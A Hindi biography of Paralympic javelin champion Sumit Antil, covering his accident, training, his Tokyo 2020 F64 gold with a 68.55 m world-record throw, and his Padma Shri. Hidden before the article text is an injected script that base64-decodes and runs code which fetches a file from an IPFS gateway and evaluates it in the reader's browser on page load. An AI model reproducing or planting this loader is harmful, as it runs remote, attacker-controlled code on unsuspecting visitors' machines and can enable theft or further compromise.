सुमित अंतिल

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सुमित अंतिल
सुमित अंतिल
पूरा नाम सुमित अंतिल
जन्म 7 जून, 1998
जन्म भूमि सोनीपत, हरियाणा
अभिभावक माता- निर्मला देवी

पिता- रामकुमार

कर्म भूमि भारत
खेल-क्षेत्र भाला फेंक (जैवलिन थ्रो)
पुरस्कार-उपाधि पद्म श्री, 2022
प्रसिद्धि भारतीय पैरा एथलीट
नागरिकता भारतीय
संबंधित लेख ग्रीष्मकालीन पैरालम्पिक, 2020
अन्य जानकारी सुमित अंतिल ने ग्रीष्मकालीन पैरालम्पिक, 2020 (टोक्यो पैरालंपिक) में शानदार प्रदर्शन करते हुए भाला फेंक क्लास एफ64 वर्ग में स्वर्ण पदक अपने नाम किया है।
अद्यतन‎

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>सुमित अंतिल (अंग्रेज़ी: Sumit Antil, जन्म- 7 जून, 1998, सोनीपत, हरियाणा) भारत के भाला फेंक पैरा एथलीट हैं। उन्होंने ग्रीष्मकालीन पैरालम्पिक, 2020 (टोक्यो पैरालम्पिक) में देश के लिये स्वर्ण पदक जीता है। उन्होंने 30 अगस्त, 2021 को पुरुषों (एफ 64 वर्ग) के फाइनल मुकाबले में स्वर्ण पदक जीता। सुमित ने 68.55 मीटर दूर भाला फेंककर स्वर्ण पदक अपने नाम किया है। भारत सरकार ने उन्हें पद्म श्री, 2022 से सम्मानित किया है।

परिचय

हरियाणा के सोनीपत के रहने वाले सुमित अंतिल का जन्म 7 जून, 1998 को हुआ था. सुमित जब सात साल के थे, तब एयरफोर्स में तैनात पिता रामकुमार की बीमारी से मौत हो गई। पिता का साया उठने के बाद माता निर्मला ने हर दु:ख सहन करते हुए चारों बच्चों का पालन-पोषण किया। निर्मला देवी के मुताबिक, सुमित जब 12वीं कक्षा में कॉमर्स का ट्यूशन लेता था, तब 5 जनवरी, 2015 की शाम को वह ट्यूशन लेकर बाइक से वापस आ रहा था। तभी सीमेंट के कट्टों से भरी ट्रैक्टर-ट्रॉली ने सुमित को टक्कर मार दी और काफी दूर तक घसीटते ले गई। इस हादसे में सुमित को अपना एक पैर गंवाना पड़ा। हादसे के बावजूद सुमित कभी उदास नहीं हुए। रिश्तेदारों व दोस्तों की प्रेरणा से सुमित ने खेलों की तरफ ध्यान दिया और साई सेंटर पहुंचे। जहां एशियन रजत पदक विजेता कोच वींरेंद्र धनखड़ ने सुमित का मार्गदर्शन किया और उसे लेकर दिल्ली पहुंचे। यहां द्रोणाचार्य पुरस्कार प्राप्तकर्ता कोच नवल सिंह से जैवलिन थ्रो के गुर सीखे।[1]

ग्रीष्मकालीन पैरालम्पिक, 2020

सुमित अंतिल

भारत के सुमित अंतिल ने टोक्यो पैरालंपिक में शानदार प्रदर्शन करते हुए भाला फेंक क्लास एफ64 वर्ग में स्वर्ण पदक अपने नाम किया। सुमित ने फाइनल में विश्व रिकॉर्ड बनाते हुए 68.55 मीटर का थ्रो किया और स्वर्ण पदक जीता। भारत का यह दूसरा स्वर्ण है। इससे पहले महिला निशानेबाज अवनि लखेरा ने स्वर्ण जीता था। भारत का इस पैरालंपिक में यह दूसरा स्वर्ण पदक है जबकि उसने कुल सात पदक अपने नाम किए हैं।

सुमित अंतिल ने पहले प्रयास में 66.95 मीटर के साथ फाइनल की शुरूआत की लेकिन उन्होंने अपने पांचवें प्रयास में 68.55 मीटर का थ्रो किया और पहले स्थान पर रहे। सुमित ने दूसरे प्रयास में 68.08, तीसरे में 65.27, चौथे में 66.71 मीटर का थ्रो किया जबकि उनका छठा और अंतिम थ्रो फाउल रहा। उनसे पहले अवनि लखेरा, देवेन्द्र झाझरिया, सुंदर सिंह गुर्जर और योगेश कथुनिया ने भी देश के लिए पदक जीते।


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टीका टिप्पणी और संदर्भ

  1. सुमित अंतिल ने हादसे में गंवाया था पैर (हिंदी) aajtak.in। अभिगमन तिथि: 31 अगस्त, 2021।

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